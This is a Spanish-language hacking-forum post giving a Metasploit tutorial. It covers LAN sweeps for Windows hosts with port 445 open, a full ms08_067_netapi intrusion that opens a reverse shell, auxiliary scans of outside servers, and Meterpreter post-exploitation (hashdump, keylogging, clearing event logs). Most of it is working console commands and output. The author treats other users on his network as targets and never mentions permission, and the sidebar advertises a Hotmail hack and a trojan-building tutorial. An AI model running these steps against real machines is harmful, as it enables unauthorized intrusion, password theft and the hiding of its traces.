Invision Power Scard

¡Conéctate o Regístrate si no tienes Cuenta de Usuario!
(Es necesario para ver todos los Mensajes en su totalidad)

CPH Hacking & Security

Últimos temas

» Hack Hotmail MSN Messenger (Original)
Jue Feb 09, 2012 10:09 pm por Mercury15

» Mitos sobre la CPU (Verdades/Mentiras)
Jue Mar 03, 2011 9:56 pm por Mercury15

» Todo lo que hay que saber sobre el Exploit WMF
Jue Ago 05, 2010 8:12 pm por Mercury15

» Tutorial crear troyano profesional by Panzerfaust
Vie Jul 16, 2010 8:41 pm por Mercury15

» ¿Cómo comprar con Ukash en España? [Xat.com]
Vie Jul 16, 2010 7:54 am por Mercury15

» Descargar Text Aloud + Voces Crack [FullPack]
Jue Jul 15, 2010 8:39 pm por leon

» Ultimas novedades
Sáb Jul 03, 2010 10:58 am por Mercury15

» Ausencia de Mercury15 [2010]
Vie Jun 25, 2010 12:31 pm por Naruto

» Tengo una duda
Jue Jun 24, 2010 10:58 am por Naruto

Conectarse

Recuperar mi contraseña

Navegación


    [Tutorial] Conociendo Metasploit Framework

    Comparte
    avatar
    Mercury15
    Staff
    Staff

    Mensajes : 51
    Reputación : 230
    Fecha de inscripción : 06/06/2010
    Edad : 30
    Localización : España

    [Tutorial] Conociendo Metasploit Framework

    Mensaje por Mercury15 el Sáb Jun 19, 2010 4:33 pm

    Introducción

    Que es Metasploit Framework (MSF) ?

    Según la Wikipedia: Es una herramienta para desarrollar y ejecutar exploits contra una máquina remota. Inicialmente fue creado utilizando el lenguaje de programación de scripting Perl, aunque actualmente el Metasploit Framework ha sido escrito de nuevo completamente en el lenguaje Ruby. (resumen)

    Cuando debo utilizar MSF?


    Como bien se ha dicho es una herramienta para ejecutar exploits, hechos por nosotros o bajados y compilados, y su utilización se realizara cuando encontremos equipos vulnerables a alguno de los exploits presentes en MSF.

    Instalación

    Primero que nada debemos ir al sitio oficial: [Tienes que estar registrado y conectado para ver este vínculo] para luego en la sección de Quick Links descargar la versión según nuestro SO, en mi caso descargo el archivo para UNIX.

    Nota: El siguiente paso no es necesario en las versiones posteriores a la 3.3 de MSF ya que su instalacion varia .

    Debido a que Ubuntu no trae por defecto el interprete de Ruby necesitamos instalarlo, ademas de una libreria para soporte SSL ya que sin ella, no nos funcionarían algunos de nuestros exploits:
    Código:
    sudo apt-get install ruby1.8 libopenssl-ruby1.8 rails

    Una vez descargado el MSF desde su sitio oficial, lo posicionamos en nuestro directorio personal (/home/tu-usuario/), luego lo descomprimimos con click derecho> extraer aquí. Pero si son unos adictos a la terminal, lo descomprimimos así:
    Código:
    tar -xvvf framework-3.2.tar.gz

    Eso nos creara un directorio llamado framework-3.2, al cual accederemos desde la terminal para invocar la consola de MSF:
    Código:
    cd framework-3.2
    ./msfconsole

    Lo que nos devolverá una linda imagen (aunque seguramente sera distinta):
    si te gusta mi wallpaper te lo mando por MP xD

    Y a partir de este momento estamos listos para poder comenzar a teclear nuestros comandos para poder llegar a lograr nuestro objetivo: la explotación de vulnerabilidades con MSF.

    Introducción a Nmap

    Que es Nmap?
    Según de la Wikipedia: Nmap es un programa de código abierto que sirve para efectuar rastreo de puertos escrito originalmente por Gordon Lyon (más conocido por su alias Fyodor Vaskovich). Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática.

    En nuestra practica, Nmap nos servira para poder escanear los equipos a los cuales queramos enfocarnos, viendo sus servicios, puertos abiertos, SO, y demas cosas que veremos posteriormente.

    Instalación

    Nmap se encuentra en casi todos los repositorios de la mayoria de las distribuciones Gnu/Linux. En nuestro caso, hacemos uso del gestor de paquetes apt.
    Código:
    sudo apt-get install nmap

    Con eso, estaría instalado perfectamente Nmap en su versión 4.x. Lastimosamente en este tuto no pienso enfocarme en el uso de Nmap, seria bueno que buscaran algunos tutos en Google para no estar preguntando para que sirve cada opción pero si aun así no las entienden, con gusto se las explicaría =)
    Introducción a Nessus
    No es necesaria si van a utilizar otro scanner

    Que es Nessus?
    Según de la Wikipedia: Nessus es un programa de escaneo de vulnerabilidades en diversos sistemas operativos. Consiste en nessusd, el daemon Nessus, que realiza el escaneo en el sistema objetivo, y nessus, el cliente (basado en consola o gráfico) que muestra el avance y reporte de los escaneos

    Podrían perfectamente utilizar cualquier otro scanner de vulnerabilidades como ser SSS o Acunetix.

    Instalación de Nessus

    Ingresamos a [Tienes que estar registrado y conectado para ver este vínculo]. Luego seleccionamos Nessus 4.0.2 for Linux y damos click en download. Aceptamos los terminos de licencia y luego descargamos el archivo correspondiente a nuestra distro, en mi caso elijo el archivo Ubuntu 8.10 and 9.04 (32 bits) (Nessus-4.0.2-ubuntu810_i386.deb).

    Una vez haya finalizado la descarga, lo guardamos en nuestro directorio personal (/home/tu-usuario/) y lo instalamos con el gestor de paquetes de Ubuntu haciendo doble click, sino, desde la terminal:
    Código:
    sudo dpkg -i Nessus-4.0.2-ubuntu810_i386.deb

    Luego nos tenemos que registrar para poder activar el demonio de Nessus (nessusd). Para ello vamos a [Tienes que estar registrado y conectado para ver este vínculo] y aceptamos la licencia. Ingresamos nuestra dirección de correo al cual sera enviado el código de activación. Luego agregamos un usuario que sera el “administrador” de Nessus.

    Ejecutamos desde una terminal:
    Citar
    sudo /opt/nessus/sbin/nessus-adduser
    Login : usuario-para-nessus
    Authentication (pass/cert) : [pass] presionas_enter
    Login password : escribis-la-pass
    Login password (again) : volves-a-escribir-la-pass
    Do you want this user to be a Nessus ‘admin’ user ? (can upload plugins, etc…) (y/n) [n]: y

    Enter the rules for this user, and enter a BLANK LINE once you are done :
    (the user can have an empty rules set) presionas enter

    Login : el-usuario-que-ingresaste
    Password : ***********
    This user will have ‘admin’ privileges within the Nessus server
    Rules :
    Is that ok ? (y/n) [y] y
    Luego ingresamos el código de activación:
    Código:
    sudo /opt/nessus/bin/nessus-fetch --register la-clave-que-te-enviaron-a-tu-correo

    Listo, con eso deberia de aparecerles un mensaje en el que se indica que Nessus esta actualizando sus plugins. Para mas información deberían de consultar Google xD

    Por ultimo, instalamos el cliente de Nessus, el que nos permitira interactuar con el demonio de Nessus graficamente:

    Ingresamos a [Tienes que estar registrado y conectado para ver este vínculo] y selecciona NessusClient 4.0.2 (The Linux graphical interface for nessud) y le das en download. Aceptas la licencia y luego seleccionas el archivo correspondiente a tu distribución, en mi caso NessusClient-4.0.2-ubuntu810_i386.deb (Ubuntu 8.10 and 9.04 (32 bits).

    Cuando la descarga termine, lo guardas en tu directorio personal (/home/tu-usuario/), junto al anterior, y luego lo instalas con el gestor de paquetes de Ubuntu haciendo doble click o desde la terminal:
    Código:
    sudo dpkg -i NessusClient-4.0.2-ubuntu810_i386.deb

    Por ultimo reiniciamos el deamon de Nessus (nessusd):
    Código:
    sudo /etc/init.d/nessusd restart

    Y listo!, p u t o nessus, ya lo podremos encontrar en el menu Aplicaciones>Internet.

    Si en algun caso nos muestra algun tipo de error relacionado a que no se puede iniciar el deamon, verifiquemos los paso anteriores.

    Hasta este punto, tenemos instados el servidor y el cliente Nessus, solo nos hace falta establecer la comunicación entre ambas partes.

    Para hacerlo, abrimos el cliente gráfico desde el menú Aplicaciones>Internet, despues continuamos con los pasos explicados a continuacion:

    1.- Botón para establecer la conexión

    2.- Botón para agregar la conexión. En este paso nos parecerá la venta “Edit conexion”.

    Aquí tendrán que establecer los datos que aparecen en la imagen. Los mas importantes son el host y el port, tienen que ser iguales al los de la imagen (si es que no se ha modificado el archivo de configuración),

    3.- Escriben el nombre y pass del usuario que agregaron como “administrador” y luego le dan en Save. Luego la seleccionan y le dan en Connect. Les aparecerá un mensaje informando que es la primera conexión y le dan en Ok.


    Para saber su funcionamiento deberán de buscar información sobre el mismo. Lo que hice fue únicamente mostrar su Instalación, ya que es considerada una de las partes mas “complicadas” (para sus ultimas versiones).

    Buscando objetivos con Nmap

    Una vez hayamos instalado las aplicaciones correspondientes, manos a la obra.

    Primero que nada, vamos a escanear nuestra red para tener un objetivo cerca . Recuerden que esos “objetivos” son usuarios normales y no mantienen todo el día sus PC's encendidas y por lo general son equipos vulnerables, debemos ser rápidos ya que quizás durante el proceso de explotación, estos equipos se desconecten y nosotros estemos esperando una shell. LOL

    Debo aclarar que la búsqueda de objetivos es especifica: encontrar equipos con el puerto 445 abierto. Por que? Porque es ese servicio el que buscamos explotar por esta primer intrusion.

    En mi caso, tengo como objetivo un equipo de mi red con ip 10.21.37.179. Para hacer un scann eficiente y sencillo lo hacemos de la siguiente manera y como root:
    Código:
    nmap -v -sV 10.21.37.179

    Con lo cual obtendremos un resultado similar a este:
    Código:
    rcart@rcart:~$ nmap -v -sV 10.21.37.179
    Discovered open port 3389/tcp on 10.21.37.179
    Discovered open port 139/tcp on 10.21.37.179
    Discovered open port 445/tcp on 10.21.37.179

    Host 10.21.37.179 appears to be up ... good.
    Interesting ports on 10.21.37.179:

    PORT STATE SERVICE VERSION
    139/tcp open netbios-ssn
    445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
    2869/tcp closed unknown
    3389/tcp open microsoft-rdp Microsoft Terminal Service
    Service Info: OS: Windows

    Host script results:
    | Discover OS Version over NetBIOS and SMB: Windows XP
    |_ Discover system time over SMB: 2009-10-06 17:06:50 UTC+2

    Esta un poco resumido, pero no va a variar mucho. Explico las opciones:
    -v = verbose
    -sV = Con esto obtenemos la versión del servicio que esta corriendo bajo un puerto determinado.

    Con estos resultados estariamos listos para interactuar con Mestasploit. Pero primero debemos de analizar ese equipo en busca de vulnerabilidades con Nessus.

    Si no saben ni por que objetivo comenzar, pueden hacer un “barrido” de red para saber que equipos “cercanos” a ustedes estan vivos. Lo hacemos asi:
    Código:
    nmap -sP 10.21.37.*

    Y con eso obtendriamos un resultado similar a este:
    Código:
    root@rcart:/home/rcart/pentest/scanns# nmap -sP 10.21.37.*

    Starting Nmap 4.76 ( [Tienes que estar registrado y conectado para ver este vínculo] ) at 2009-10-06 20:57 CST
    Host 10.21.37.1 appears to be up.
    MAC Address: 00:06:5B:DB:8B:8D (Dell Computer)
    Host 10.21.37.2 appears to be up.
    MAC Address: 00:E0:4D:72:35:73 (Internet Initiative Japan)
    Host 10.21.37.3 appears to be up.
    MAC Address: 00:0D:87:B2:B4:DD (Elitegroup Computer System Co. (ECS))
    Host 10.21.37.72 appears to be up.
    MAC Address: 00:E0:4C:A0:0A:F2 (Realtek Semiconductor)
    Host 10.21.37.215 appears to be up.
    Nmap done: 256 IP addresses (5 hosts up) scanned in 4.43 seconds
    root@rcart:/home/rcart/pentest/scanns#

    Y como vemos, hay varios equipos que “appears to be up” (esta vivos) y pues ya tendríamos objetivos para poder buscar el puerto 445 abierto con el procedimiento de escaneo anterior.

    Existen formas mas complejas pero eficientes de hacer scanns con Nmap, como por ejemplo escanear todos los equipos de nuestra red especificando el puerto 445 y otra variedad de alternativas.

    NOTA: Las IP's usadas son de la red a la que pertenezco, ustedes deben utilizar las de su red o la que quieran.

    Escaneando objetivos con Nessus

    Esta etapa de buscar vulnerabilidades con Nessus no es tan dificil, ya los tenemos configurado y listo para funcionar. Solo hace falta crear una “política de scann” pero como Nessus es bastante intuitivo no creo que ese sea problema

    Entonces, lo único que tenemos que hacer es agregar el objetivo escaneado con Nmap y que tiene el puerto 445 abierto. Luego le damos al Botón “Scan Now” y si todo ha salido bien, nos deberia de apararecer una imagen similar a esta:
    Modifique un poco mi escritorio. Hermoso eh?

    Como vemos, el servicio que nos mostro Nmap en el puerto 445/tcp “Microsoft Windows XP microsoft-ds” aparece completamente vulnerable. Hasta este punto estamos listos para “jugar” con esta maravillosa herramienta: Metasploit Framework.


    Mi primera Intrusión con MSF

    Despues de tanto, hemos podido encontrar un equipo con la vulnerabilidad que buscábamos y ha llegado el momento de proceder con la explotación.

    Primero que nada conozcamos como esta dividido MSF (Metasploit Framework):

    • Exploits: aquí encontramos todos los exploits disponibles en MSF y que podemos utilizar. Estan dividos por SO's y categoriras. Ejemplo: exploits/windows/browser/ y aquí econtrariamos los exploits disponibles para los navegadores que corren en el SO windows.
    • Payloads: esta es una de las cosas mas importantes, es la accion que se va a realizar si se logra explotar la vulnerabilidad que selecccionamos. Ejemplo: windows/shell/reverse_tcp y con esto obtendriamos una shell inversa.
    • Auxiliary: son scripts con diferentes funciones. Ejemplo: auxiliary/scanner/portscan/tcp y utilizando este scanner de puertos tcp, obtendriamos el estado de puertos y el servicio que esta corriendo bajo estos mismo. Muy util si no te gusta Nmap xD
    • Enconders: son algoritmos de codificación para cuando hagamos ingeniería social y tengamos que evadir algunos antivirus. Muy importante conocerlo.
    Con eso bastaria conocer por los momentos, el unico que falta son los NOP Generators, no los menciono porque todavia no los comprende como es debido.

    Ahora veamos los comandos que necesitaremos utilizar para poder desplazarnos por MSF:


    • help: Nos muestra los comandos disponibles actualmente.
    • show: Nos muestra todo el contenido de cada categoria: exploits, payloads, auxiliary encoders, NOP Generators. Aunque tambien podemos especificar una categoria. Ejemplo: show exploits.
    • search: Busca cualquier objeto mediante una palabra clave. Ejemplo: search ftp
    • info: Proporciona información sobre un exploit,payload, auxiliary, etc. Es muy importante ya que con este comando tambien podemos conocer la descripcion, referencias y equipos en los que se puede utilizar el objeto al que estamos invocando Ejemplo: info windows/ftp/proftp_banner
    • use: Con este comando, establemos el objeto con el que vamos a trabajar; sea exploit o auxiliary que son con los que vamos a trabajar nosotros. Ejemplo: use exploits/windows/
    • show options: Importantisimo. Si no conocemos como funciona algun exploit o auxiliary este comando nos ayudara muchisimo, aunque por lo general no requieren de muchos parametros. Se ejecuta despues que hayamos seleccionado el objeto: exploit, auxiliary o payload(unicamente si ya se ha seleccionado un exploit)
    • set: Con este comando, establecemos los parametros necesarios de algun exploit o auxiliary. Los parametros dependen del objeto que hayamos seleccionado anteriormente. Por mecionar algun ejemplo:
      set RHOST xxx.xxx.xxx.xxx, set RPORT 445, set LHOST xxx.xxx.xxx.xxx, set LPORT 2525. Son solo ejemplos.
    • set PAYLOAD: Este comando lo pongo aparte porque es importante conocerlo bien. Como mencione anteriormente los payloads es la accion que se realiza cuando un exploit ha explotado una vulnerabilidad correctamente. Lo utilizamos despues de haber seleccionado un exploit únicamente. Comunmente necesitamos establecer los parametros LHOST y LPORT.
    • back: Con esto volveriamos a comenzar desde 0.

    Ademas de esos comandos hay muchos otros que poco a poco los iremos viendo cada vez que sea necesario. Tambien debo aclarar que cuando entramos a la interfaz de consola (msfconsole) de MSF tambien podemos hacer uso de los comandos de nuestro SO Gnu/Linux como si estuviéramos en una consola normal.

    Les recomiendo que antes de comenzar con la explotación naveguen un poco en MSF utilizando los comandos basicos que mencione anteriormente y cualquier cosa que vean interesante, para que se vallan familiarizando y asi se haga mas facil la practica.

    Que exploit utilizaremos para la vulnerabilidad que nos mostró Nessus?
    msf08_067_netapi.

    Usen el comando info para ver los equipos que son vulnerables a este exploit y sus opciones ademas de otras cosas.

    Ingresemos a la interfaz de consola de MSF para comenzar
    Seleccionamos el exploit que vamos a utilizar:
    Código:
    msf > use exploit/windows/smb/ms08_067_netapi

    Verificamos las opciones del exploit para ver cuales estan disponibles y cuales son necesarias para luego ingresarlas:
    Código:
    msf exploit(ms08_067_netapi) > show options
    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOST yes The target address
    RPORT 445 yes Set the SMB service port
    SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

    Exploit target:
    Id Name
    -- ----
    0 Automatic Targeting

    msf exploit(ms08_067_netapi) > set RHOST 10.21.37.179
    RHOST => 10.21.37.179
    msf exploit(ms08_067_netapi) >

    Nota: las opciones que tienen “yes” en la columna “Required” significa que son obligatorias. Algunas se llenan automáticamente, otras hay que ingresarlas manualmente. Luego de ingresar el parametro set RHOST deberían de ver de nuevo las opciones para que vean como se llenan las opciones requeridas.

    Ahora seleccionamos el PAYLOAD que vemos a utilizar. En esta ocacion comenzaremos con una simple shell, mas adelante utilizaremos otros.
    Código:
    msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
    PAYLOAD => windows/shell/reverse_tcp
    msf exploit(ms08_067_netapi) > show options

    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOST 10.21.37.179 yes The target address
    RPORT 445 yes Set the SMB service port
    SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

    Payload options (windows/shell/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    EXITFUNC thread yes Exit technique: seh, thread, process
    LHOST yes The local address
    LPORT 4444 yes The local port

    Exploit target:

    Id Name
    -- ----
    0 Automatic Targeting

    msf exploit(ms08_067_netapi) > set LHOST 10.21.17.215
    LHOST => 10.21.17.215
    msf exploit(ms08_067_netapi) >

    Como veran hemos ingresado los parametros requeridos tanto del exploit como del payload. Ahora solo nos falta verificar (show options) que todo este como queremos para luego ejecutar un comando que no he mencionado, pero es el mas esperado.
    Código:
    msf exploit(ms08_067_netapi) > exploit

    [*] Started reverse handler
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
    [*] Selected Target: Windows XP SP2 Spanish (NX)
    [*] Triggering the vulnerability...
    [*] Sending stage (240 bytes)
    [*] Command shell session 1 opened (10.21.17.215:4444 -> 10.21.37.179:1035)

    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\WINDOWS\system32>

    Wow! Al fin nuestra primera intrusión con MSF! Si no saben que hacer con la shell que acabamos de obtener, les recomendaria que mejor se vallan a ver la televisión LOL.




    Conociendo los Modulos Auxiliares (Auxiliary)


    Uno de los primeros pasos que se deben tomar para lograr una intrusion, es la recoleccion de informacion. Saber que SO y/o version estamos analizando, que puertos estan abiertos, que servicios, etc. Metasploit contiene una buena cantidad de modulos auxiliares que nos permiten obtener cierta informacion de nuestro objetivo. Se diferencian de los exploits por ser utilizados para la obtencion de informacion, es decir, con los modulos auxiliares no obtendremos ninguna shell, sin embargo nos serviran para llegar a lograrlo. Para ejecutar un modulo auxiliar, ingresamos el comando run.

    Sintaxis para el uso de modulos auxiliares: Esta es muy simple y igual que los exploits, dependen del modulo que estemos utilizando. Los parametros basicos son: RHOSTS, RPORT y THREADS donde:
    RHOST: es el objetivo y puede contener ragos, clases de redes, o varios hosts separados por comas
    RPORT: es el puerto del servicio, el especificado por defecto no se cambia comunmente.
    THREADS: Numero de hilos concurrentes, se cambian dependiente del numero de host que vamos a analizar.

    Recordemos utilizar el comando info para conocer el modulo auxiliar y sus opciones.

    En esta seccion, veremos los siguiente modulos auxiliares de tipo scanners:

    • scanner/ssh/ssh_version
    • scanner/portscan/tcp
    • scanner/http/writable
    • scanner/http/options
    • scanner/http/wmap_files_dir
    • scanner/ftp/anonymous
    • scanner/smb/version


    scanner/ssh/ssh_version: Este scanner, como su nombre lo dice, nos permite identificar la version del servidor ssh en un objetivo especifico. Veamos un ejemplo:

    Seleccionamos el modulo auxiliar:

    Código:
    msf > use auxiliary/scanner/ssh/ssh_version
    msf auxiliary(ssh_version) >

    Luego observamos sus opciones y asignamos valores dependiendo de las que requiera:

    Código:
    msf auxiliary(ssh_version) > show options

    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOSTS yes The target address range or CIDR identifier
    RPORT 22 yes The target port
    THREADS 1 yes The number of concurrent threads

    msf auxiliary(ssh_version) >

    Como vemos, este modulo auxiliar contiene las opciones basicas, y como ya las conocemos las asignamos sin ningun problema para luego ejecutarlo con el comando run

    Código:
    msf auxiliary(ssh_version) > set RHOSTS 10.21.0.1
    RHOSTS => 10.21.0.1
    msf auxiliary(ssh_version) > run

    [*] 10.21.0.1:22, SSH server version: SSH-1.5-Cisco-1.25
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(ssh_version) >

    Como vemos, la version del servidor ssh es 1.5 y pertenece a un router Cisco, que es el router de mi ISP xD


    scanner/portscan/tcp: Este modulo es un scanner de puertos TCP. Nos proporciona muy buenos resultados sobre los puertos abiertos en un objetivo especifico. Veamos:

    Código:
    msf > use auxiliary/scanner/portscan/tcp
    msf auxiliary(tcp) > show options

    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
    RHOSTS yes The target address range or CIDR identifier
    THREADS 1 yes The number of concurrent threads
    TIMEOUT 1000 yes The socket connect timeout in milliseconds

    msf auxiliary(tcp) >

    Las opciones son casi las mismas, no es necesario explicarlas. Veamos que resultados nos muestra:

    Código:
    msf auxiliary(tcp) > set RHOSTS 190.5.x.x
    RHOSTS => 190.5.x.x
    rmsf auxiliary(tcp) > run

    [*] TCP OPEN 190.5.x.x:21
    [*] TCP OPEN 190.5.x.x:80
    [*] TCP OPEN 190.5.x.x:110
    [*] TCP OPEN 190.5.x.x:111
    [*] TCP OPEN 190.5.x.x:143
    [*] TCP OPEN 190.5.x.x:443
    [*] TCP OPEN 190.5.x.x:631
    [*] TCP OPEN 190.5.x.x:954
    [*] TCP OPEN 190.5.x.x:993
    [*] TCP OPEN 190.5.x.x:995
    [*] TCP OPEN 190.5.x.x:3128
    [*] TCP OPEN 190.5.x.x:3306
    [*] TCP OPEN 190.5.x.x:5432
    [*] TCP OPEN 190.5.x.x:10000
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(tcp) >

    Como vemos, obtenemos un excelente resultado de los puertos abiertos en el servidor 190.5.x.x. Este modolo auxiliar nos serviria de mucho si no contamos con un scanner de puertos.


    scanner/http/writeble: Este scanner comprueba si estan permitidos los metodos PUT/DELETE en un servidor web y si esta permitido, seria un error devastador. Actualmente es muy dificil (por no decir imposible) de encontrar, pero es bueno conocerlo. Se ejecuta asi:

    Código:
    msf > use auxiliary/scanner/http/writable
    msf auxiliary(writable) > set RHOST xxxxx.net
    RHOST => xxxxx.net
    msf auxiliary(writable) > run

    [*] Upload failed on [Tienes que estar registrado y conectado para ver este vínculo] [405 Method Not Allowed]
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(writable) >

    Despues de ejecutar el modulo, nos muestra que los metodos PUT/DELETE no estan permitidos:"Upload failed on [Tienes que estar registrado y conectado para ver este vínculo] [405 Method Not Allowed]”


    scanner/http/options: Con el modulo anterior ya vimos que no estan permitidas las opciones PUT/DELENTE. Ahora veremos como obtener las opciones habilitadas en un servidor web. Dependiendo de las opciones habilitadas tendremos alternativas para continuar con otros metodos externos a MSF. Veamos:

    Código:
    msf auxiliary(anonymous) > use auxiliary/scanner/http/options
    msf auxiliary(options) > set RHOSTS xxxxx.net
    RHOSTS => xxxxxx.net
    msf auxiliary(options) > run

    [*] 190.5.x.x allows GET,HEAD,POST,OPTIONS,TRACE methods
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(options) >

    El resultado es simple y claro. Ademas esta un poco interensante xD


    scanner/http/wmap_files_dir: Este modulo, nos muestra la estructura de directorios del servidor web especificado. Ejemplifiquemos:

    Código:
    msf auxiliary(wmap_dir_listing) > use auxiliary/scanner/http/wmap_files_dir
    msf auxiliary(wmap_files_dir) > set RHOSTS xxxxx.hn
    msf auxiliary(wmap_files_dir) > run

    [*] Using code '404' as not found.
    [*] Found [Tienes que estar registrado y conectado para ver este vínculo] 301
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(wmap_files_dir) >

    En este resultado muestra unicamente el directorio “admin” debido a mi conexion (es una mierda) pero a ustedes deberia mostrar una buena lista de directorios.


    scanner/ftp/anonymous: Con este modulo auxiliar, podriamos verificar si esta permitido el usuario anonimo en un servidor [Tienes que estar registrado y conectado para ver este vínculo] En esta prueba, instale un servidor ftp (vsftpd) en mi PC para comprobar la funcionalidad de este modulo auxiliar. El servidor ftp lo configure permitiendo el acceso a usuarios anonimos. Veamos:

    Código:
    msf auxiliary(writable) > use auxiliary/scanner/ftp/anonymous
    msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
    RHOSTS => 127.0.0.1
    msf auxiliary(anonymous) > run

    [*] 127.0.0.1:21 Anonymous READ (220 (vsFTPd 2.0.7))
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(anonymous) >

    Como vemos, el resultado es el esperado. Nos muestra que el usuarios esta permitido: “Anonymous READ”. Pero si quisieran saber que resultado muestra cuando no esta permitido el usuario anonimo, con gusto lo demuestro:

    Código:
    msf auxiliary(writable) > use auxiliary/scanner/ftp/anonymous
    msf auxiliary(anonymous) > set RHOSTS 127.0.0.1
    RHOSTS => 127.0.0.1
    msf auxiliary(anonymous) > run

    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(anonymous) >

    Mismo modulo, mismo target y al parecer el modulo auxiliar se ejecuta, pero no muestra que esta habilitado el usuario anonimo en el servidor. Cumple perfectamente su proposito.


    scanner/smb/version: Con este modulo podremos ver exactamente que SO y version se esta ejecutando en el objetivo:

    Código:
    msf > use auxiliary/scanner/smb/version
    msf auxiliary(version) > set RHOSTS 10.21.49.12
    msf auxiliary(version) > run

    [*] 10.21.49.12 is running Windows XP Service Pack 2 (language: Spanish)
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf auxiliary(version) >

    Y asi se simple obtenemos el SO y version de nuestro objetivo.


    Habran notado que en la mayoria de los modulos no mostre las opciones porque creo que son cosas que ya deberian de tomar en cuenta como necesarias y verlas por ustedes mismos. Utilicen los comandos basicos para navegar por la gran variedad de modulos auxiliares que nos proporciona Metasploit Framework y no tengan miedo de ver su definicion, opciones. Ya estan listos para conocer mas modulos auxiliares por ustedes mismos.

    Como vemos, Metasploit Framework nos proporciona modulos auxiliares a nivel web que nos podrian ser de mucha ayuda en cualquier momento, ademas de modulos auxiliares que nos sirven para obtener informacion fundamental sobre nuestro objetivo.

    Con esto hemos terminado por hoy. Creo que ya indiscutiblemente estamos listos para conocer el espectacular METERPRETER.





    Conociendo Meterpreter


    Despues de una basica (pero buena) introduccion a algunas de las funcionalidades de Metasploit Framework, hemos podido llegar a obtener nuestra primer shell, pero esto no termina aqui. Una de las primeras cosas que quisieramos hacer despues de obtener una shell, seria mantener nuestra presencia en el equipo remoto y es aqui en donde nos encontramos con el conjunto de scripts avanzados orientado a sistemas windows llamado Meterpreter.

    Meterpreter nos permite automatizar el trabajo post-explotacion mediante scripts avanzados que nos facilitan tareas como la interaccion con el registro de windows (regedit), borrado de rastros, descargar/subir archivos, obtencion de passwords del sistema (hash dump), ejecucion de procesos, terminacion de procesos, edicion de archivos de texto, time stamp, etc.

    Una de las cosas mas impresionantes de Meterpreter es la migracion de procesos; esto significa, que cuando explotamos la vulnerabilidad objetivo, no se crea un nuevo proceso (como normalmente se hace) sino que Meterpreter se carga en la memoria de uno de los procesos abiertos permitiendonos asi ser lo menos ruidosos que podamos y pasarnos de un proceso a otro sin ningun problema. Con esto no significa que seamos indetectables, pero nos ayuda a evitar ser detectados.

    Como utilizamos Meterpreter?

    Meterpreter lo encontramos entre los PAYLOADS y como cualquier payload, lo seleccionamos despues de haber puesto en uso un exploit. Comunmente no necesitamos cambiar las opciones por default, solo establecer el host local (LHOST) si el payload es inverso.


    En este ejemplo vamos a utilizar los pasos seguidos en “Mi primera Intrusion con MSF” pero la unica diferencia sera el PAYLOAD a utilizar: Meterpreter.
    Código:
    msf > use exploit/windows/smb/ms08_067_netapi
    msf exploit(ms08_067_netapi) > set RHOST 10.21.49.12
    RHOST => 10.21.49.12
    msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
    PAYLOAD => windows/meterpreter/reverse_tcp
    msf exploit(ms08_067_netapi) > set LHOST 10.21.17.215
    LHOST => 10.21.17.215
    msf exploit(ms08_067_netapi) >

    Como vemos, hemos puesto en uso el exploit utilizado anteriormente y hemos seleccionado como PAYLOAD Meterpreter con conexion inversa. Les recomiendo, como siempre, utilizar tanto el comando info como el comando show options que seran nuestros aliados siempre. Depues de estar seguros que las opciones y parametros estan establecidos correctamente estamos listos para explotar el objetivo y obtener una sesion con Meterpreter. Que mejor que ver una imagen



    Excelente, hemos explotado el sistema y abierto una session Meterpreter como lo esperabamos. Ahora conozcamos algunas de las funciones que nos proporciona Meterpreter y no hay mejor forma de hacerlo que utilizando el comando help o ?:

    Comando

    background
    exit
    help
    irb
    migrate
    quit
    run
    use
    cat
    cd
    del
    download
    edit
    getlwd
    getwd
    lcd
    lpwd
    ls
    mkdir
    pwd
    rm
    rmdir
    upload
    ipconfig
    clearev
    execute
    getpid
    getuid
    kill
    ps
    reboot
    reg
    shell
    shutdown
    sysinfo
    keyscan_dump
    keyscan_start
    keyscan_stop
    hashdump
    Descripcion

    Envia al segundo plano la sesion activa.
    Termina la sesion abierta de Meterpreter
    Muestra la ayuda
    Nos lanza al interprete de Ruby (irb).
    Migra de un proceso a otro
    Termina la sesion abierta de Meterpreter
    Ejecuta un script de Meterpreter. Presionando dos veces TAB veremos los disponibles.
    Carga una o mas extension de Meterpreter. Presionando dos veces TAB veremos los disponibles.
    Muestra el contenido de un archivo de texto.
    Cambia a un directorio
    Elimina un archivo especifico
    Descarga un archivo o directorio al equipo local
    Edita un archivo
    Muestra el directorio local en el que estamos trabajando
    Muestra el directorio remoto en el que estamos trabajando
    Cambia a un directorio local
    Muestra el directorio local en el que estamos trabajando
    Muestra los archivos contenidos en un directorio
    Crea un directorio
    Muestra el derectorio remoto en el que estamos trabajando
    Elimina un archivo especifico
    Elimina un directorio especifico
    Sube un archivo o directorio al equipo remoto
    Muestra las interfaces de red
    Elimina los logs almacenados en la aplicacion “Visor de Sucesos”
    Ejecuta un comando
    Muestra la identificacion del proceso en el que estamos
